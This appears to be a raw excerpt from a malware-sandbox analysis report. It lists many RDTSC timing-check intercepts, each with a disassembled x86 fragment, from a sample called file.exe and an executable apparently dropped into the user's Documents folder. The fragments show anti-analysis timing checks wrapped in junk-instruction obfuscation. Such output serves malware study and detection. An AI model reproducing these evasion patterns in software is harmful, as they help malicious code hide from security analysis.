Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708B1 second address: 4F708C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708C0 second address: 4F70938 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b jmp 00007EFE30C69F0Eh 0x00000010 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007EFE30C69F0Eh 0x0000001e adc si, 2FB8h 0x00000023 jmp 00007EFE30C69F0Bh 0x00000028 popfd 0x00000029 jmp 00007EFE30C69F18h 0x0000002e popad 0x0000002f mov eax, ebx 0x00000031 pushad 0x00000032 push esi 0x00000033 mov ax, di 0x00000036 pop edi 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F63A5 second address: 6F63AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6EBCE4 second address: 6EBD0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFE30C69F0Fh 0x00000008 jmp 00007EFE30C69F12h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6EBD0A second address: 6EBD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6EBD13 second address: 6EBD17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F5C97 second address: 6F5CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8B5F second address: 6F8B65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8B65 second address: 6F8B96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007EFE30DC1B0Fh 0x00000012 jnp 00007EFE30DC1B06h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8B96 second address: 6F8B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8B9A second address: 6F8B9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8C50 second address: 6F8CCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 add dword ptr [esp], 652FFE9Dh 0x0000000e cld 0x0000000f push 00000003h 0x00000011 mov ecx, dword ptr [ebp+122D29FDh] 0x00000017 jmp 00007EFE30C69F15h 0x0000001c push 00000000h 0x0000001e mov edx, 2E7DEE2Dh 0x00000023 push 00000003h 0x00000025 mov dx, 57E9h 0x00000029 call 00007EFE30C69F09h 0x0000002e jnc 00007EFE30C69F20h 0x00000034 pushad 0x00000035 js 00007EFE30C69F06h 0x0000003b jmp 00007EFE30C69F12h 0x00000040 popad 0x00000041 push eax 0x00000042 push esi 0x00000043 jp 00007EFE30C69F08h 0x00000049 push esi 0x0000004a pop esi 0x0000004b pop esi 0x0000004c mov eax, dword ptr [esp+04h] 0x00000050 push eax 0x00000051 push edx 0x00000052 jo 00007EFE30C69F0Ch 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8CCB second address: 6F8CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8CCF second address: 6F8CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8CD5 second address: 6F8CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8CD9 second address: 6F8CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007EFE30C69F0Dh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push esi 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8CFA second address: 6F8D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov esi, 5EED89F1h 0x0000000d popad 0x0000000e lea ebx, dword ptr [ebp+1245DA67h] 0x00000014 mov edx, 08B1C344h 0x00000019 pushad 0x0000001a mov esi, dword ptr [ebp+122D2AF9h] 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 jmp 00007EFE30DC1B15h 0x0000002a je 00007EFE30DC1B06h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8F0C second address: 6F8F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jg 00007EFE30C69F06h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007EFE30C69F19h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8F37 second address: 6F8F8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jns 00007EFE30DC1B28h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007EFE30DC1B10h 0x0000001d jmp 00007EFE30DC1B0Ah 0x00000022 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8F8B second address: 6F8F90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F8F90 second address: 6F8F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F919D second address: 6F91A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F91A1 second address: 6F91B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFE30DC1B14h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F91B9 second address: 6F91C7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F91C7 second address: 6F91CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6F91CB second address: 6F91CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6DE5B4 second address: 6DE5E6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFE30DC1B17h 0x0000000d jmp 00007EFE30DC1B13h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6DE5E6 second address: 6DE60F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Dh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007EFE30C69F13h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6DE60F second address: 6DE615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 717E88 second address: 717E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007EFE30C69F06h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 717E97 second address: 717EB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B0Fh 0x00000007 jns 00007EFE30DC1B06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 717EB6 second address: 717EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30C69F0Ah 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 71816A second address: 7181A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007EFE30DC1B06h 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007EFE30DC1B15h 0x00000011 pop ebx 0x00000012 pop edx 0x00000013 pushad 0x00000014 jmp 00007EFE30DC1B13h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7181A5 second address: 7181B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30C69F0Ch 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7181B5 second address: 7181B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 718457 second address: 71845B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 71845B second address: 718467 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFE30DC1B06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 71887F second address: 7188A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFE30C69F15h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7188A0 second address: 7188AC instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFE30DC1B06h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7188AC second address: 7188B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7188B2 second address: 7188B8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7189BD second address: 7189C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7189C1 second address: 7189DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B14h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7189DF second address: 7189E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7189E5 second address: 7189E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7189E9 second address: 718A14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007EFE30C69F12h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 718CFD second address: 718D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 718D02 second address: 718D1D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jmp 00007EFE30C69F10h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7195CB second address: 7195CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 719C73 second address: 719C9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 jo 00007EFE30C69F06h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007EFE30C69F10h 0x00000018 pop ecx 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 719C9F second address: 719CA5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 719CA5 second address: 719CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007EFE30C69F0Ah 0x00000010 jl 00007EFE30C69F06h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 71CBB4 second address: 71CBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007EFE30DC1B19h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007EFE30DC1B06h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 71CBDC second address: 71CBE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6E51DB second address: 6E5203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007EFE30DC1B06h 0x0000000a pushad 0x0000000b jmp 00007EFE30DC1B0Fh 0x00000010 jnp 00007EFE30DC1B06h 0x00000016 je 00007EFE30DC1B06h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 721550 second address: 721556 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 725942 second address: 72594D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007EFE30DC1B06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7250AC second address: 7250B8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFE30C69F06h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72549D second address: 7254C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFE30DC1B17h 0x00000012 jl 00007EFE30DC1B06h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7254C7 second address: 7254D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 726C72 second address: 726C76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 727890 second address: 727896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 727972 second address: 72798D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFE30DC1B08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jng 00007EFE30DC1B18h 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007EFE30DC1B06h 0x0000001b rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 727BF9 second address: 727BFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 727DCF second address: 727DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 727DD5 second address: 727DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 727EEA second address: 727EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 727EEE second address: 727EF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007EFE30C69F06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7292DA second address: 7292EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007EFE30DC1B0Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7292EE second address: 729318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFE30C69F19h 0x0000000e js 00007EFE30C69F08h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 729318 second address: 72931D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 729944 second address: 72994B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72994B second address: 729961 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007EFE30DC1B06h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jns 00007EFE30DC1B10h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 729961 second address: 7299BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 nop 0x00000008 jl 00007EFE30C69F0Ch 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007EFE30C69F08h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov edi, dword ptr [ebp+122D2AF5h] 0x00000032 jnc 00007EFE30C69F0Eh 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jnp 00007EFE30C69F06h 0x00000043 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7299BB second address: 7299C5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFE30DC1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72B456 second address: 72B45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72B45A second address: 72B464 instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFE30DC1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72B464 second address: 72B478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFE30C69F10h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72C9C0 second address: 72C9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007EFE30DC1B06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72EC39 second address: 72EC6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007EFE30C69F14h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFE30C69F16h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7306D8 second address: 7306E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007EFE30DC1B06h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7306E8 second address: 7306EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7306EE second address: 7306F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7306F4 second address: 730729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F18h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edi 0x00000014 jne 00007EFE30C69F08h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 730729 second address: 73072D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
